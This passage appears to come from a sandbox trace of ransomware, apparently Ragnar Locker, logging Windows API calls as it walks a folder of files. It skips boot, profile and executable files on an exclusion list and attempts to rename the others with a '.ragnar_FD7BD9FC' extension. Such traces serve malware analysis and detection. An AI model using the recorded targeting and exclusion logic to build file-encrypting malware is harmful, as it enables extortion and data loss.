"c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0058.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.739] CloseHandle (hObject=0xffffffff) returned 0 [0058.739] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" [0058.739] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.ragnar_FD7BD9FC" [0058.739] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.739] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0058.739] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.739] lstrcpyW (in: lpString1=0x1eb62e, lpString2="hwrusalm.dat" | out: lpString1="hwrusalm.dat") returned="hwrusalm.dat" [0058.739] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned=".dat" [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="autorun.inf") returned 1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="boot.ini") returned 1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="bootfont.bin") returned 1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="bootsect.bak") returned 1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="bootmgr") returned 1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="bootmgr.efi") returned 1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="bootmgfw.efi") returned 1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="desktop.ini") returned 1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="iconcache.db") returned -1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="ntldr") returned -1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="ntuser.dat") returned -1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="ntuser.dat.log") returned -1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="ntuser.ini") returned -1 [0058.739] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="thumbs.db") returned -1 [0058.739] lstrcmpiW (lpString1=".dat", lpString2=".db") returned -1 [0058.739] lstrcmpiW (lpString1=".dat", lpString2=".sys") returned -1 [0058.739] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0058.739] lstrcmpiW (lpString1=".dat", lpString2=".lnk") returned -1 [0058.740] lstrcmpiW (lpString1=".dat", lpString2=".msi") returned -1 [0058.740] lstrcmpiW (lpString1=".dat", lpString2=".drv") returned -1 [0058.740] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1 [0058.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0058.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.740] CloseHandle (hObject=0xffffffff) returned 0 [0058.740] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" [0058.740] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.ragnar_FD7BD9FC" [0058.740] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.740] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0058.740] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.740] lstrcpyW (in: lpString1=0x1eb62e, lpString2="hwrusash.dat" | out: lpString1="hwrusash.dat") returned="hwrusash.dat" [0058.740] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned=".dat" [0058.740] lstrcmpiW (lpString1="hwrusash.dat", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.740] lstrcmpiW (lpString1="hwrusash.dat", lpString2="autorun.inf") returned 1 [0058.740] lstrcmpiW (lpString1="hwrusash.dat", lpString2="boot.ini") returned 1 [0058.740] lstrcmpiW (lpString1="hwrusash.dat", lpString2="bootfont.bin") returned 1 [0058.740] lstrcmpiW (lpString1="hwrusash.dat", lpString2="bootsect.bak") returned 1 [0058.740] lstrcmpiW (lpString1="hwrusash.dat", lpString2="bootmgr") returned 1 [0058.741] lstrcmpiW (lpString1="hwrusash.dat", lpString2="bootmgr.efi") returned 1 [0058.741] lstrcmpiW (lpString1="hwrusash.dat", lpString2="bootmgfw.efi") returned 1 [0058.741] lstrcmpiW (lpString1="hwrusash.dat", lpString2="desktop.ini") returned 1 [0058.741] lstrcmpiW (lpString1="hwrusash.dat", lpString2="iconcache.db") returned -1 [0058.741] lstrcmpiW (lpString1="hwrusash.dat", lpString2="ntldr") returned -1 [0058.741] lstrcmpiW (lpString1="hwrusash.dat", lpString2="ntuser.dat") returned -1 [0058.741] lstrcmpiW (lpString1="hwrusash.dat", lpString2="ntuser.dat.log") returned -1 [0058.741] lstrcmpiW (lpString1="hwrusash.dat", lpString2="ntuser.ini") returned -1 [0058.741] lstrcmpiW (lpString1="hwrusash.dat", lpString2="thumbs.db") returned -1 [0058.741] lstrcmpiW (lpString1=".dat", lpString2=".db") returned -1 [0058.741] lstrcmpiW (lpString1=".dat", lpString2=".sys") returned -1 [0058.741] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0058.741] lstrcmpiW (lpString1=".dat", lpString2=".lnk") returned -1 [0058.741] lstrcmpiW (lpString1=".dat", lpString2=".msi") returned -1 [0058.741] lstrcmpiW (lpString1=".dat", lpString2=".drv") returned -1 [0058.741] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1 [0058.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0058.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.741] CloseHandle (hObject=0xffffffff) returned 0 [0058.741] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" [0058.741] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.ragnar_FD7BD9FC" [0058.741] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.742] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0058.742] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.742] lstrcpyW (in: lpString1=0x1eb62e, lpString2="InkDiv.dll" | out: lpString1="InkDiv.dll") returned="InkDiv.dll" [0058.742] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned=".dll" [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="autorun.inf") returned 1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="boot.ini") returned 1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="bootfont.bin") returned 1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="bootsect.bak") returned 1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="bootmgr") returned 1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="bootmgr.efi") returned 1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="bootmgfw.efi") returned 1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="desktop.ini") returned 1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="iconcache.db") returned 1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="ntldr") returned -1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="ntuser.dat") returned -1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="ntuser.dat.log") returned -1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="ntuser.ini") returned -1 [0058.742] lstrcmpiW (lpString1="InkDiv.dll", lpString2="thumbs.db") returned -1 [0058.742] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.742] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.742] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.742] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0058.742] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.742] lstrcpyW (in: lpString1=0x1eb62e, lpString2="InkObj.dll" | out: lpString1="InkObj.dll") returned="InkObj.dll" [0058.742] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned=".dll" [0058.742] lstrcmpiW (lpString1="InkObj.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.742] lstrcmpiW (lpString1="InkObj.dll", lpString2="autorun.inf") returned 1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="boot.ini") returned 1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="bootfont.bin") returned 1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="bootsect.bak") returned 1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="bootmgr") returned 1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="bootmgr.efi") returned 1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="bootmgfw.efi") returned 1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="desktop.ini") returned 1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="iconcache.db") returned 1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="ntldr") returned -1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="ntuser.dat") returned -1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="ntuser.dat.log") returned -1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="ntuser.ini") returned -1 [0058.743] lstrcmpiW (lpString1="InkObj.dll", lpString2="thumbs.db") returned -1 [0058.743] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.743] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.743] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.743] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0058.743] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.743] lstrcpyW (in: lpString1=0x1eb62e, lpString2="InkWatson.exe" | out: lpString1="InkWatson.exe") returned="InkWatson.exe" [0058.743] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned=".exe" [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="autorun.inf") returned 1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="boot.ini") returned 1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="bootfont.bin") returned 1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="bootsect.bak") returned 1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="bootmgr") returned 1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="bootmgr.efi") returned 1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="bootmgfw.efi") returned 1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="desktop.ini") returned 1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="iconcache.db") returned 1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="ntldr") returned -1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="ntuser.dat") returned -1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="ntuser.dat.log") returned -1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="ntuser.ini") returned -1 [0058.743] lstrcmpiW (lpString1="InkWatson.exe", lpString2="thumbs.db") returned -1 [0058.743] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0058.744] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0058.744] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.744] lstrcpyW (in: lpString1=0x1eb62e, lpString2="InputPersonalization.exe" | out: lpString1="InputPersonalization.exe") returned="InputPersonalization.exe" [0058.744] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned=".exe" [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="autorun.inf") returned 1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="boot.ini") returned 1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="bootfont.bin") returned 1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="bootsect.bak") returned 1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="bootmgr") returned 1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="bootmgr.efi") returned 1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="bootmgfw.efi") returned 1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="desktop.ini") returned 1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="iconcache.db") returned 1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="ntldr") returned -1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="ntuser.dat") returned -1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="ntuser.dat.log") returned -1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="ntuser.ini") returned -1 [0058.744] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="thumbs.db") returned -1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0058.744] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0058.744] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0058.744] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.744] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipscat.xml" | out: lpString1="ipscat.xml") returned="ipscat.xml" [0058.744] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned=".xml" [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="autorun.inf") returned 1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="boot.ini") returned 1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="bootfont.bin") returned 1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="bootsect.bak") returned 1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="bootmgr") returned 1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="bootmgr.efi") returned 1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="bootmgfw.efi") returned 1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="desktop.ini") returned 1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="iconcache.db") returned 1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="ntldr") returned -1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="ntuser.dat") returned -1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="ntuser.dat.log") returned -1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="ntuser.ini") returned -1 [0058.745] lstrcmpiW (lpString1="ipscat.xml", lpString2="thumbs.db") returned -1 [0058.745] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.745] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.745] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.745] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.745] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.745] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.745] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0058.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.746] CloseHandle (hObject=0xffffffff) returned 0 [0058.746] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" [0058.746] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.ragnar_FD7BD9FC" [0058.746] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.746] FindNextFileW (in: 